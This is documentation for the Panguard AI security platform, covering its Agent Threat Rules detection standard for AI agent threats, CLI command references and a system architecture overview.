Source: https://docs.panguard.ai/atr

Open standard for detecting threats to AI agents. 768 rules. OWASP Agentic Top 10: 10/10 covered. Community-maintained.

Agent Threat Rules (ATR) is an open standard for describing and detecting security threats targeting AI agents -- purpose-built for the AI agent era.

## What is ATR?

ATR rules detect threats that traditional security tools miss:

* **Prompt injection** in MCP tool responses
* **Tool poisoning** via hidden instructions
* **Data exfiltration** through agent actions
* **Privilege escalation** via skill manipulation
* **Supply chain attacks** on skill registries
* **Credential theft** via agent tool calls
* **Inter-agent manipulation** in multi-agent systems

## By the Numbers

|                      |                                                                       |
| -------------------- | --------------------------------------------------------------------- |
| **768** rules        | Covering 10 threat categories                                         |
| **OWASP 10/10**      | Full coverage of OWASP Agentic Top 10                                 |
| **95.7%** recall     | On Garak jailbreak corpus (650 samples)                               |
| **100%** recall      | On SKILL.md benchmark (97% precision, 0.2% FP)                        |
| **90,000+** skills   | Scanned across registries (67,799 scanned, 1,096 confirmed malicious) |
| **770+** patterns    | Unique detection signatures                                           |
| **\< 3ms** scan time | Per skill (regex layer)                                               |

## OWASP Agentic Top 10 Coverage

ATR provides executable detection rules for every OWASP category:

| OWASP Category                    | ATR Rules | Coverage |
| --------------------------------- | --------- | -------- |
| ASI01: Agent Goal Hijack          | 13        | STRONG   |
| ASI02: Tool Misuse & Exploitation | 11        | STRONG   |
| ASI03: Identity & Privilege Abuse | 9         | STRONG   |
| ASI04: Agentic Supply Chain       | 8         | STRONG   |
| ASI05: Unexpected Code Execution  | 8         | STRONG   |
| ASI06: Memory & Context Poisoning | 8         | STRONG   |
| ASI07: Inter-Agent Communication  | 5         | MODERATE |
| ASI08: Cascading Failures         | 4         | MODERATE |
| ASI09: Human-Agent Trust          | 5         | MODERATE |
| ASI10: Rogue Agents               | 7         | MODERATE |

<Info>
  OWASP provides a checklist. ATR provides the executable rules. Use ATR to turn OWASP compliance from a PDF exercise into automated detection.
</Info>

## Three Detection Layers

| Layer   | Method                 | Speed   | Coverage       |
| ------- | ---------------------- | ------- | -------------- |
| Layer 1 | Regex pattern matching | 3ms     | Known patterns |
| Layer 2 | Content fingerprinting | \~200ms | Variants       |
| Layer 3 | LLM-as-judge           | \~3s    | Novel threats  |

## Threat Crystallization

When the LLM layer (Layer 3) discovers a new attack pattern, ATR crystallizes it into a deterministic regex rule:

1. LLM detects novel threat pattern
2. RuleScaffolder generates a new regex rule
3. Shadow mode validates against 1,000 samples (FP \< 0.1%)
4. Rule promoted and distributed via Threat Cloud (\< 1 hour)
5. Next occurrence caught by Layer 1 at 3ms -- no LLM needed

Every LLM call trains the regex engine. LLM cost is one-time. Crystallized rules run forever at zero cost.

## Research Paper

> **Agent Threat Rules: A Community-Driven Detection Standard for AI Agent Security**
> [Zenodo DOI: 10.5281/zenodo.19178002](https://doi.org/10.5281/zenodo.19178002)

The paper documents: threat taxonomy, detection architecture, PINT benchmark evaluation, and 64 known evasion techniques (published transparently).

## Standardization Status (2026-05-25)

ATR is publishing proposal-stage standardization scaffolding ahead of OASIS Open Project submission. The scaffolding includes a 9-seat Technical Steering Committee charter (CNCF-derived, 2-cap per company group, 2 sovereign liaison seats), a standard threat model, an OpenTelemetry-compatible event format spec, a conformance corpus structure with threshold Ed25519 signing, the DCO contribution model, and reference implementation interface contracts in TypeScript, Python, and Go.

All scaffolding is tagged **PROPOSED** and is NOT ratified. The 9-seat TSC has not been formed. Trademarks are not registered. Existing v1.1 governance continues to operate. The rule format, npm package, TypeScript engine API, and all rules are unchanged — Panguard's integration of ATR works without modification.

The first sovereign sub-range (`ATR-TW-YYYY-NNNNN`) has been issued under bootstrap maintainer attestation, pending formal Taiwan sovereign authority adoption.

See the full status matrix at [STANDARDIZATION-STATUS.md](https://github.com/Agent-Threat-Rule/agent-threat-rules/blob/main/STANDARDIZATION-STATUS.md) on the ATR repo.

## Getting Started

```bash theme={null}
# Install Panguard (includes ATR engine)
curl -fsSL https://get.panguard.ai | bash

# Scan a skill with ATR rules
panguard audit skill /path/to/skill

# Start real-time protection with ATR
panguard guard start
```

<CardGroup>
  <Card title="ATR on GitHub" icon="github" href="https://github.com/Agent-Threat-Rule/agent-threat-rules">
    Browse rules, contribute, and star the project.
  </Card>

  <Card title="OWASP Mapping" icon="list-check" href="https://github.com/Agent-Threat-Rule/agent-threat-rules/blob/main/docs/OWASP-MAPPING.md">
    Full rule-by-rule mapping to OWASP Agentic Top 10.
  </Card>
</CardGroup>


# panguard config
Source: https://docs.panguard.ai/cli/config

View and edit the Panguard CLI configuration.

The `config` command opens an interactive view of your current Panguard configuration, allowing you to inspect and modify settings for all services -- Guard, Scan, Chat, Trap, and more.

## Usage

```bash theme={null}
panguard config
```

## What It Shows

Running `panguard config` displays the active configuration from `~/.panguard/config.yaml`, including:

* **General** -- language, data directory, cloud endpoint
* **Guard** -- monitors enabled, auto-response rules, learning period
* **Scan** -- scanner modules, output preferences, schedules
* **Chat** -- notification channels, severity filters, quiet hours
* **Trap** -- honeypot services, port mappings, cloud upload settings
* **Report** -- default framework, output format, organization name

## Examples

<CodeGroup>`bash View current configuration panguard config `</CodeGroup>

<Tip>
  For direct file editing, the configuration lives at `~/.panguard/config.yaml`. You can edit it
  with any text editor -- changes take effect the next time a Panguard command runs or when Guard is
  restarted.
</Tip>

## Configuration File Location

| Platform      | Default Path              |
| ------------- | ------------------------- |
| Linux         | `~/.panguard/config.yaml` |
| macOS         | `~/.panguard/config.yaml` |
| Windows (WSL) | `~/.panguard/config.yaml` |

## Related

<CardGroup>
  <Card title="Guard Configuration" icon="shield" href="/configuration/guard-config">
    Detailed Guard agent configuration reference.
  </Card>

  <Card title="Chat Configuration" icon="message-bot" href="/configuration/chat-config">
    Notification channel configuration reference.
  </Card>

  <Card title="Environment Variables" icon="list" href="/configuration/environment-variables">
    Override config file settings with environment variables.
  </Card>

  <Card title="panguard init" icon="wand-magic-sparkles" href="/cli/init">
    Regenerate default configuration.
  </Card>
</CardGroup>


# panguard doctor
Source: https://docs.panguard.ai/cli/doctor

Diagnose and troubleshoot common Panguard system issues.

The `doctor` command runs a series of diagnostic checks to identify common problems with your Panguard installation, configuration, and runtime environment. It provides actionable recommendations for each issue found.

## Usage

```bash theme={null}
panguard doctor
```

## Diagnostic Checks

The doctor command inspects the following areas:

| Check             | What It Verifies                                                  |
| ----------------- | ----------------------------------------------------------------- |
| **Installation**  | Binary integrity, version currency, dependencies                  |
| **Configuration** | Config file validity, required fields, path permissions           |
| **Guard**         | Service status, log file health, resource usage                   |
| **Network**       | Connectivity to Panguard Cloud, DNS resolution, firewall rules    |
| **Permissions**   | File ownership, directory access, elevated privilege requirements |
| **Disk Space**    | Available space for logs, scan data, and intelligence databases   |

## Examples

<CodeGroup>`bash Run diagnostics panguard doctor `</CodeGroup>

## Sample Output

```
Panguard Doctor v1.9.0
======================

[PASS] Installation: binary intact, version 1.9.0 (latest)
[PASS] Configuration: ~/.panguard/config.yaml valid
[WARN] Guard: not running -- start with 'panguard guard start'
[PASS] Network: cloud API reachable (latency 45ms)
[PASS] Permissions: all directories accessible
[FAIL] Disk Space: /var/log/panguard has only 200MB free (minimum 500MB)

1 failure, 1 warning, 4 passed
```

<Tip>
  Run `panguard doctor` whenever you encounter unexpected behavior before opening a support ticket.
  The output is designed to be shared with the support team.
</Tip>

## Related

<CardGroup>
  <Card title="Common Issues" icon="circle-exclamation" href="/troubleshooting/common-issues">
    Solutions for frequently encountered problems.
  </Card>

  <Card title="panguard status" icon="circle-info" href="/cli/status">
    Quick health overview of all services.
  </Card>

  <Card title="Guard Troubleshooting" icon="shield" href="/troubleshooting/guard-issues">
    Specific troubleshooting for Guard agent issues.
  </Card>
</CardGroup>


# panguard guard
Source: https://docs.panguard.ai/cli/guard

Manage the real-time endpoint protection agent.

The `guard` command controls Panguard's real-time protection agent -- a three-layer AI pipeline that monitors your system continuously, detects threats, and responds automatically. Guard runs as a background service and reports events through your configured notification channels.

## Usage

```bash theme={null}
panguard guard <subcommand> [options]
```

## Subcommands

| Subcommand  | Description                                           |
| ----------- | ----------------------------------------------------- |
| `start`     | Start the Guard agent                                 |
| `stop`      | Stop the running Guard agent                          |
| `status`    | Show current Guard status and statistics              |
| `install`   | Install Guard as a system service (systemd / launchd) |
| `uninstall` | Remove the Guard system service                       |
| `config`    | View or modify Guard configuration                    |
| `help`      | Show Guard subcommand help                            |

## Options

<ParamField type="string">
  Override the default data directory where Guard stores logs, baselines, and state files. Defaults
  to `~/.panguard/guard/`.
</ParamField>

## Examples

<CodeGroup>
  ```bash Start Guard protection theme={null}
  panguard guard start
  ```

  ```bash Check Guard status theme={null}
  panguard guard status
  ```

  ```bash Install as system service theme={null}
  panguard guard install
  ```

  ```bash Use custom data directory theme={null}
  panguard guard start --data-dir /opt/panguard/data
  ```

  ```bash Stop Guard theme={null}
  panguard guard stop
  ```

  ```bash View Guard configuration theme={null}
  panguard guard config
  ```
</CodeGroup>

## How It Works

Guard operates through three layers of AI processing:

1. **Layer 1 -- Rule Engine** -- ATR rules for known threat patterns
2. **Layer 2 -- Behavioral AI** -- Machine learning baselines detect anomalous process, network, and file activity
3. **Layer 3 -- LLM Judgment** -- Large language model correlates events, judges severity, and generates plain-language alerts

<Tip>
  After starting Guard, it enters a **learning mode** for the first 24 hours to establish behavioral
  baselines. During this period, you may see more informational alerts than usual.
</Tip>

## Related

<CardGroup>
  <Card title="Guard Product Overview" icon="shield-check" href="/products/guard/overview">
    Architecture and design of the Guard agent.
  </Card>

  <Card title="Agent Pipeline" icon="diagram-project" href="/products/guard/agent-pipeline">
    Deep dive into the three-layer AI processing pipeline.
  </Card>

  <Card title="Guard Configuration" icon="gear" href="/configuration/guard-config">
    Customize monitors, thresholds, and auto-response rules.
  </Card>
</CardGroup>


# panguard init
Source: https://docs.panguard.ai/cli/init

Initialize Panguard configuration for the current machine.

The `init` command creates and configures the Panguard environment on your machine. It generates the default configuration file, sets up data directories, and detects your operating system and installed services for optimal defaults.

## Usage

```bash theme={null}
panguard init [options]
```

## Options

<ParamField type="string">
  Path to a custom configuration file. If provided, `init` will merge your custom settings with
  detected defaults instead of creating a new file from scratch.
</ParamField>

<ParamField type="string">
  Set the default language for CLI output and notifications.
</ParamField>

## Examples

<CodeGroup>
  ```bash Initialize with defaults theme={null}
  panguard init
  ```

  ```bash Initialize with custom config theme={null}
  panguard init --config ./my-panguard.yaml
  ```

  ```bash Initialize in Traditional Chinese theme={null}
  panguard init --lang zh-TW
  ```
</CodeGroup>

## What `init` Does

1. **Detects the OS and environment** -- identifies Linux distro, macOS version, or WSL setup
2. **Creates configuration directory** -- `~/.panguard/` with default `config.yaml`
3. **Sets up data directories** -- separate directories for Guard, Trap, and Scan data
4. **Detects running services** -- identifies web servers, databases, and other services to tailor scan and guard defaults
5. **Configures Threat Cloud** -- prompts to enable collective defense (anonymous threat sharing)

<Tip>
  You only need to run `init` once per machine. Re-running it is safe -- existing configuration will
  not be overwritten unless you explicitly provide a new config file.
</Tip>

## Related

<CardGroup>
  <Card title="Quick Start" icon="rocket" href="/quickstart">
    Full onboarding walkthrough including init.
  </Card>

  <Card title="panguard config" icon="gear" href="/cli/config">
    View and edit configuration after initialization.
  </Card>

  <Card title="Environment Variables" icon="list" href="/configuration/environment-variables">
    Override configuration with environment variables.
  </Card>
</CardGroup>


# CLI Overview
Source: https://docs.panguard.ai/cli/overview

Unified command-line interface for all Panguard AI security operations.

The Panguard CLI is your single entry point for scanning, protecting, monitoring, and managing endpoint security. Every feature -- from a quick vulnerability scan to deploying a honeypot network -- is accessible through one binary.

## Usage

```bash theme={null}
pga <command> [options]
```

<Tip>
  `pga` is a shortcut for `panguard`. Both work identically. Use whichever you prefer.
</Tip>

### Quick Commands

| Command                  | What it does                    |
| ------------------------ | ------------------------------- |
| `pga`                    | Open interactive menu           |
| `pga up`                 | Start protection + dashboard    |
| `pga setup`              | Auto-configure AI platforms     |
| `pga scan`               | Scan all installed skills       |
| `pga audit skill <path>` | Audit a skill before installing |

## Global Options

| Option          | Description                                     |
| --------------- | ----------------------------------------------- |
| `--help`        | Show help for any command                       |
| `--version`     | Print the installed Panguard CLI version        |
| `--lang <lang>` | Set output language (`en`, `zh-TW`, `ja`, etc.) |

## Command Categories

### Scanning

| Command             | Description                             |
| ------------------- | --------------------------------------- |
| [`scan`](/cli/scan) | Run security scans on the local machine |

### Protection

| Command               | Description                         |
| --------------------- | ----------------------------------- |
| [`guard`](/cli/guard) | Real-time endpoint protection agent |
| [`trap`](/cli/trap)   | Honeypot / deception technology     |

### System

| Command                   | Description                                      |
| ------------------------- | ------------------------------------------------ |
| [`init`](/cli/init)       | Initialize configuration for the current machine |
| [`status`](/cli/status)   | Show overall system health                       |
| [`config`](/cli/config)   | View or edit configuration                       |
| [`doctor`](/cli/doctor)   | Diagnose common system issues                    |
| [`upgrade`](/cli/upgrade) | Update Panguard CLI to the latest version        |

### Advanced

| Command                 | Description                                      |
| ----------------------- | ------------------------------------------------ |
| [`threat`](/cli/threat) | Start the local Threat Cloud intelligence server |

## Feature Availability

All commands are available to everyone. Panguard is 100% open source under the MIT license.

## Installation

If you have not installed the CLI yet, run:

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash
```

<Info>
  See the [Installation](/installation) page for platform-specific instructions including Homebrew,
  APT, and Docker options.
</Info>

## Next Steps

<CardGroup>
  <Card title="Quick Start" icon="rocket" href="/quickstart">
    Get from zero to your first scan in under 5 minutes.
  </Card>

  <Card title="panguard scan" icon="magnifying-glass" href="/cli/scan">
    Run your first security scan.
  </Card>

  <Card title="panguard guard" icon="shield" href="/cli/guard">
    Enable real-time endpoint protection.
  </Card>

  <Card title="Quick Start" icon="user-plus" href="/quickstart">
    Get started with Panguard security tools.
  </Card>
</CardGroup>


# panguard report
Source: https://docs.panguard.ai/cli/report

Generate compliance and audit reports aligned with major security frameworks.

The `report` command generates professional compliance reports from your scan and Guard data. Reports can be aligned to frameworks like ISO 27001, SOC 2, NIST CSF, and Taiwan TCSA, making audit preparation straightforward.

## Usage

```bash theme={null}
panguard report <subcommand> [options]
```

## Subcommands

| Subcommand        | Description                                                      |
| ----------------- | ---------------------------------------------------------------- |
| `generate`        | Generate a compliance report                                     |
| `summary`         | Show a brief compliance summary without generating a full report |
| `list-frameworks` | List all supported compliance frameworks                         |
| `validate`        | Validate an existing report for completeness and accuracy        |
| `config`          | View or modify report configuration                              |

## Options

<ParamField type="string">
  Target compliance framework. Run `panguard report list-frameworks` to see all options.
</ParamField>

<ParamField type="string">
  Report content language (e.g., `en`, `zh-TW`).
</ParamField>

<ParamField type="string">
  Output format: `pdf`, `html`, `json`, or `csv`.
</ParamField>

<ParamField type="string">
  Directory to write the generated report. Defaults to the current working directory.
</ParamField>

<ParamField type="string">
  Organization name to include in the report header and metadata.
</ParamField>

## Examples

<CodeGroup>
  ```bash Generate ISO 27001 report theme={null}
  panguard report generate --framework iso27001 --org "Acme Corp"
  ```

  ```bash Generate SOC 2 report in Chinese theme={null}
  panguard report generate --framework soc2 --language zh-TW
  ```

  ```bash List available frameworks theme={null}
  panguard report list-frameworks
  ```

  ```bash Quick compliance summary theme={null}
  panguard report summary --framework nist-csf
  ```

  ```bash Export as HTML theme={null}
  panguard report generate --framework tcsa --format html --output-dir ./reports
  ```

  ```bash Validate an existing report theme={null}
  panguard report validate --output-dir ./reports
  ```
</CodeGroup>

## Supported Frameworks

| Framework    | Identifier | Description                                    |
| ------------ | ---------- | ---------------------------------------------- |
| ISO 27001    | `iso27001` | International information security standard    |
| SOC 2        | `soc2`     | Service organization trust criteria            |
| NIST CSF     | `nist-csf` | NIST Cybersecurity Framework                   |
| CIS Controls | `cis`      | Center for Internet Security critical controls |
| Taiwan TCSA  | `tcsa`     | Taiwan Corporate Security Alliance standard    |
| PCI DSS      | `pci-dss`  | Payment card industry data security            |

## Related

<CardGroup>
  <Card title="Compliance Reports Guide" icon="book-open" href="/guides/compliance-reports">
    Step-by-step guide for generating your first compliance report.
  </Card>

  <Card title="Report Product Overview" icon="file-lines" href="/products/report/overview">
    Full documentation of the Report system.
  </Card>

  <Card title="Supported Frameworks" icon="scale-balanced" href="/products/report/frameworks">
    Detailed control mappings for each framework.
  </Card>

  <Card title="panguard scan" icon="magnifying-glass" href="/cli/scan">
    Reports are generated from scan data -- run a scan first.
  </Card>
</CardGroup>


# panguard scan
Source: https://docs.panguard.ai/cli/scan

Run security vulnerability scans on the local machine.

The `scan` command performs a comprehensive security assessment of your endpoint, checking for vulnerabilities, misconfigurations, outdated software, and known threats. Results are scored and prioritized by AI so you can focus on what matters most.

## Usage

```bash theme={null}
panguard scan [options]
```

## Options

<ParamField type="flag">
  Run a fast scan covering only critical checks.
</ParamField>

<ParamField type="string">
  Write the scan results to the specified file path. Supports `.json`, `.html`, and `.pdf` formats
  based on file extension.
</ParamField>

<ParamField type="string">
  Set the output language for scan results (e.g., `en`, `zh-TW`, `ja`).
</ParamField>

<ParamField type="flag">
  Show detailed output including individual check progress and debug information.
</ParamField>

## Examples

<CodeGroup>
  ```bash Quick Scan  theme={null}
  panguard scan --quick
  ```

  ```bash Full Scan with JSON output theme={null}
  panguard scan --output ./results/scan-report.json
  ```

  ```bash Full Scan in Traditional Chinese theme={null}
  panguard scan --lang zh-TW --verbose
  ```

  ```bash Export PDF Report theme={null}
  panguard scan --output ~/Desktop/security-audit.pdf
  ```
</CodeGroup>

## Scan Types

| Mode           | Checks                                                                  | Duration     |
| -------------- | ----------------------------------------------------------------------- | ------------ |
| `--quick`      | Critical vulnerabilities, open ports, root access                       | \~30 seconds |
| Full (default) | All scanners including CVE, CIS benchmarks, malware signatures, network | 2-5 minutes  |

## What Gets Scanned

* **System vulnerabilities** -- CVE database matching against installed packages
* **Configuration audit** -- CIS benchmark checks for OS hardening
* **Network exposure** -- Open ports, listening services, firewall rules
* **Malware detection** -- ATR rule matching and hash lookups
* **File integrity** -- Checks against known-good baselines
* **User accounts** -- Privilege escalation risks, weak credentials

## Related

<CardGroup>
  <Card title="First Scan Guide" icon="book-open" href="/guides/first-scan">
    Step-by-step walkthrough of your first security scan.
  </Card>

  <Card title="Scanners Reference" icon="microscope" href="/products/scan/scanners">
    Detailed documentation for each scanner module.
  </Card>

  <Card title="Risk Scoring" icon="chart-bar" href="/products/scan/risk-scoring">
    How Panguard AI prioritizes and scores findings.
  </Card>

  <Card title="panguard report" icon="file-chart-column" href="/cli/report">
    Generate compliance reports from scan data.
  </Card>
</CardGroup>


# panguard status
Source: https://docs.panguard.ai/cli/status

Display the overall health and status of all Panguard services.

The `status` command provides a unified view of your Panguard installation -- Guard agent health, last scan results, active traps, notification channel connectivity, and more.

## Usage

```bash theme={null}
panguard status [options]
```

## Options

<ParamField type="flag">
  Output status information as structured JSON for scripting and automation.
</ParamField>

<ParamField type="string">
  Path to a custom configuration file. Defaults to `~/.panguard/config.yaml`.
</ParamField>

<ParamField type="string">
  Set the output language.
</ParamField>

## Examples

<CodeGroup>
  ```bash Show system status theme={null}
  panguard status
  ```

  ```bash JSON output for scripting theme={null}
  panguard status --json
  ```

  ```bash Status with custom config theme={null}
  panguard status --config /etc/panguard/config.yaml
  ```
</CodeGroup>

## Output Sections

The status command reports on the following sections:

| Section    | Information                                 |
| ---------- | ------------------------------------------- |
| **Guard**  | Running / stopped, uptime, events processed |
| **Scan**   | Last scan time, findings count, risk score  |
| **Chat**   | Configured channels, connectivity health    |
| **Trap**   | Active honeypots, interactions captured     |
| **System** | Panguard version, OS, config path           |

## Related

<CardGroup>
  <Card title="panguard doctor" icon="stethoscope" href="/cli/doctor">
    Diagnose issues when status shows problems.
  </Card>

  <Card title="panguard guard" icon="shield" href="/cli/guard">
    Manage the Guard agent shown in status.
  </Card>

  <Card title="panguard config" icon="gear" href="/cli/config">
    Edit the configuration referenced by status.
  </Card>
</CardGroup>


# panguard threat
Source: https://docs.panguard.ai/cli/threat

Start a local Threat Cloud intelligence server for aggregating and querying threat data.

The `threat` command runs a local instance of the Panguard Threat Cloud -- a threat intelligence server that aggregates indicators of compromise (IoCs), campaign data, and attacker profiles from your Guard agents and Trap honeypots. It provides a REST API and real-time dashboard for threat analysis.

## Usage

```bash theme={null}
panguard threat <subcommand> [options]
```

## Subcommands

| Subcommand | Description                                                     |
| ---------- | --------------------------------------------------------------- |
| `start`    | Start the Threat Cloud server                                   |
| `stats`    | Show threat intelligence statistics without starting the server |

## Options

<ParamField type="number">
  Port for the Threat Cloud API and dashboard.
</ParamField>

<ParamField type="string">
  Host address to bind the server to. Use `0.0.0.0` to listen on all interfaces.
</ParamField>

<ParamField type="string">
  Path to the SQLite database for storing threat intelligence data. Defaults to
  `~/.panguard/threat/threat.db`.
</ParamField>

## Examples

<CodeGroup>
  ```bash Start Threat Cloud server theme={null}
  panguard threat start
  ```

  ```bash Start on custom port theme={null}
  panguard threat start --port 8500 --host 0.0.0.0
  ```

  ```bash View threat statistics theme={null}
  panguard threat stats
  ```

  ```bash Use custom database path theme={null}
  panguard threat start --db /opt/panguard/threat.db
  ```
</CodeGroup>

## Intelligence Sources

The Threat Cloud aggregates data from:

| Source              | Data Type                                          |
| ------------------- | -------------------------------------------------- |
| **Guard agents**    | Process anomalies, network indicators, file hashes |
| **Trap honeypots**  | Attacker IPs, credentials used, exploit payloads   |
| **Community feeds** | Public IoC feeds, STIX/TAXII sources               |
| **Manual upload**   | Custom IoC lists via API                           |

<Warning>
  When binding to `0.0.0.0`, the Threat Cloud API is exposed to the network. Ensure you configure
  authentication and place the server behind a firewall or reverse proxy.
</Warning>

## Related

<CardGroup>
  <Card title="Threat Cloud Overview" icon="globe" href="/products/threat-cloud/overview">
    Architecture and design of the Threat Cloud system.
  </Card>

  <Card title="Threat Cloud Deployment" icon="server" href="/guides/threat-cloud-deployment">
    Production deployment guide for Threat Cloud.
  </Card>

  <Card title="Privacy" icon="lock" href="/products/threat-cloud/privacy">
    Data handling and privacy policies for threat data.
  </Card>

  <Card title="panguard trap" icon="honey-pot" href="/cli/trap">
    Honeypots feed intelligence into Threat Cloud.
  </Card>
</CardGroup>


# panguard upgrade
Source: https://docs.panguard.ai/cli/upgrade

Update the Panguard CLI to the latest version.

The `upgrade` command checks for and installs the latest version of the Panguard CLI. It handles binary replacement, database migrations, and post-upgrade verification automatically.

## Usage

```bash theme={null}
panguard upgrade
```

## What It Does

1. **Checks the current version** against the latest release
2. **Downloads the new binary** from the official release channel
3. **Verifies the checksum** to ensure integrity
4. **Replaces the binary** in place
5. **Runs migrations** if any data format changes are required
6. **Verifies the upgrade** by running a quick self-test

## Examples

<CodeGroup>`bash Upgrade to latest version panguard upgrade `</CodeGroup>

## Related

<CardGroup>
  <Card title="Installation" icon="download" href="/installation">
    Platform-specific installation instructions.
  </Card>

  <Card title="Changelog" icon="list" href="/changelog">
    See what changed in each release.
  </Card>

  <Card title="panguard doctor" icon="stethoscope" href="/cli/doctor">
    Run diagnostics after upgrading if you encounter issues.
  </Card>

  <Card title="panguard status" icon="circle-info" href="/cli/status">
    Verify system health after upgrading.
  </Card>
</CardGroup>


# System Architecture
Source: https://docs.panguard.ai/concepts/architecture

Technical architecture overview of the Panguard AI platform: monorepo structure, deployment layers, and component interactions.

# System Architecture

Panguard AI is a TypeScript monorepo with 18 packages organized into three deployment layers. Every component -- from the CLI on your laptop to the Threat Cloud in the data center -- shares the same `@panguard-ai/core` foundation.

***

## Three Deployment Layers

```
  +-------------------------------------------------------+
  |                    Cloud Layer                         |
  |   Threat Cloud (collective intelligence)              |
  |   Cloud AI (Claude / OpenAI)                          |
  |   Web Dashboard                                       |
  +-------------------------------------------------------+
                          ^
                          | HTTPS / WebSocket
                          v
  +-------------------------------------------------------+
  |                   Manager Layer                        |
  |   Fleet orchestration, policy management              |
  |   Agent registration, centralized logging             |
  +-------------------------------------------------------+
                          ^
                          | HTTPS / WebSocket
                          v
  +-------------------------------------------------------+
  |                  Endpoint Layer                        |
  |   Guard agent (real-time protection)                  |
  |   Scan, Chat, Trap, Report (CLI tools)                |
  +-------------------------------------------------------+
```

<Tabs>
  <Tab title="Endpoint Layer">
    The Guard agent and CLI tools run directly on the protected machine. This is where security events are detected, analyzed by Layer 1 and Layer 2 AI, and responded to in real time.

    **Key components:**

    * Guard agent (continuous monitoring)
    * Scan engine (on-demand audits)
    * Chat notifications (Telegram, Slack, Email, LINE, Webhook)
    * Trap honeypots (8 decoy service types)
    * Report generator (PDF, JSON)
    * Local AI via Ollama (Layer 2)

    **Operates fully offline.** The endpoint layer functions without network connectivity using cached rules and local AI.
  </Tab>

  <Tab title="Manager Layer">
    The Manager orchestrates multiple Guard agents across a fleet of machines. It provides centralized policy management, agent registration, and aggregated logging.

    **Key capabilities:**

    * Fleet-wide policy deployment
    * Agent health monitoring and registration
    * Centralized log aggregation
    * WebSocket real-time dashboard
    * REST API for programmatic control

    **Deployment:** Self-hosted on your infrastructure or managed by Panguard.
  </Tab>

  <Tab title="Cloud Layer">
    The Cloud layer provides collective intelligence and deep AI analysis for threats that cannot be resolved locally.

    **Key services:**

    * Threat Cloud (community-driven IoC database)
    * Cloud AI analysis (Claude / OpenAI for Layer 3)
    * Local web dashboard for threat monitoring

    **Optional.** The cloud layer enhances protection but is never required. All core functionality works without it.
  </Tab>
</Tabs>

***

## 13-Package Monorepo

The codebase is organized as a pnpm workspace monorepo. Each package has a single responsibility:

| Package                        | Layer    | Purpose                                               |
| ------------------------------ | -------- | ----------------------------------------------------- |
| `@panguard-ai/core`            | Shared   | Rule engine, monitors, AI providers, i18n, encryption |
| `@panguard-ai/panguard`        | Endpoint | CLI entry point (`panguard` command)                  |
| `@panguard-ai/panguard-guard`  | Endpoint | Real-time protection agent (5-stage AI pipeline)      |
| `@panguard-ai/panguard-scan`   | Endpoint | Security scanner and risk scoring                     |
| `@panguard-ai/panguard-chat`   | Endpoint | Notification system (5 channels, 3 role formats)      |
| `@panguard-ai/panguard-trap`   | Endpoint | Honeypot system (8 service types)                     |
| `@panguard-ai/panguard-report` | Endpoint | Compliance report generation (TCSA, ISO 27001, SOC 2) |
| `@panguard-ai/threat-cloud`    | Cloud    | Collective intelligence API server                    |
| `@panguard-ai/website`         | Cloud    | Marketing website (panguard.ai)                       |

***

## @panguard-ai/core -- Shared Foundation

The `core` package is the foundation that every other package depends on. It provides:

<AccordionGroup>
  <Accordion title="Rule Engine">
    * ATR rule parser and evaluator (pattern matching, context-aware detection, multi-layer analysis)
    * 768 bundled ATR rules, custom rule loading
  </Accordion>

  <Accordion title="Monitors">
    4 system monitors that collect security-relevant events: - **Log Monitor** -- System log parsing
    (syslog, journald, Windows Event Log) - **Network Monitor** -- Connection tracking, port scanning,
    DNS queries - **Process Monitor** -- Process creation, termination, resource usage - **File
    Monitor** -- File system changes, permission modifications, new executables
  </Accordion>

  <Accordion title="AI Providers">
    * FunnelRouter for Layer 2/3 cascading - Ollama adapter (local AI) - Claude and OpenAI adapters
      (cloud AI) - Provider auto-detection at startup - AES-256-GCM encrypted key storage
      (`~/.panguard/llm.enc`)
  </Accordion>

  <Accordion title="Internationalization (i18n)">
    * English and Traditional Chinese - All CLI output, reports, and notifications are fully localized
    * Language selection via `panguard init` or `--lang` flag
  </Accordion>

  <Accordion title="System Reconnaissance">
    * OS detection (macOS, Linux, Windows)
    * Network interface enumeration
    * Running service inventory
    * Security tool detection (antivirus, EDR, IDS)
    * Hardware identifier collection for encryption key derivation
  </Accordion>
</AccordionGroup>

***

## Tech Stack

| Technology         | Version | Purpose                                            |
| ------------------ | ------- | -------------------------------------------------- |
| **TypeScript**     | 5.7     | Primary language across all packages               |
| **Node.js**        | 22      | Runtime                                            |
| **pnpm**           | 9+      | Workspace-aware package manager                    |
| **Vitest**         | Latest  | Unit and integration testing                       |
| **esbuild**        | Latest  | Fast bundling for CLI distribution                 |
| **better-sqlite3** | Latest  | Embedded database for Threat Cloud and Guard state |
| **Next.js**        | 14      | Web dashboard and marketing website                |

***

## Cross-Platform Support

Panguard runs on all three major operating systems:

| Platform               | Guard | Scan | Trap | Manager |
| ---------------------- | ----- | ---- | ---- | ------- |
| **macOS** (ARM64, x64) | Yes   | Yes  | Yes  | Yes     |
| **Linux** (x64, ARM64) | Yes   | Yes  | Yes  | Yes     |
| **Windows** (x64)      | Yes   | Yes  | Yes  | Yes     |

Platform-specific implementations are abstracted behind interfaces in `core`:

* **Firewall:** macOS `pfctl`, Linux `iptables`/`nftables`, Windows `netsh`
* **Service management:** macOS `launchd`, Linux `systemd`, Windows Services
* **Log sources:** macOS unified log, Linux `journald`/syslog, Windows Event Log

***

## Data Flow

A typical security event flows through the system as follows:

<Steps>
  <Step title="Event detected">
    A monitor in `core` (process, network, file, or log) detects a security-relevant event on the
    endpoint.
  </Step>

  <Step title="Layer 1 evaluation">
    The ATR rule engine evaluates the event in under 1ms. If a rule matches, the event is classified
    and a response is triggered immediately.
  </Step>

  <Step title="AI escalation (if needed)">
    Unmatched events are forwarded to Layer 2 (local Ollama) or Layer 3 (Cloud AI) for deeper
    analysis via the FunnelRouter.
  </Step>

  <Step title="Response execution">
    Based on classification and confidence, the auto-response engine takes action: block IP,
    quarantine file, terminate process, or notify only.
  </Step>

  <Step title="Reporting and notification">
    Chat sends a notification via the configured channel. The event is logged for Guard status,
    security score updates, and compliance reports.
  </Step>

  <Step title="Threat Cloud upload (optional)">
    If Threat Cloud participation is enabled, anonymized indicators are uploaded to benefit the
    community.
  </Step>
</Steps>

***

## Related

<CardGroup>
  <Card title="Three-Layer AI" icon="brain-circuit" href="/concepts/three-layer-ai">
    Deep dive into the Rules, Local AI, and Cloud AI funnel.
  </Card>

  <Card title="Guard Pipeline" icon="shield" href="/products/guard/agent-pipeline">
    The 5-stage AI agent pipeline inside Guard.
  </Card>

  <Card title="Manager" icon="server" href="/products/guard/overview">
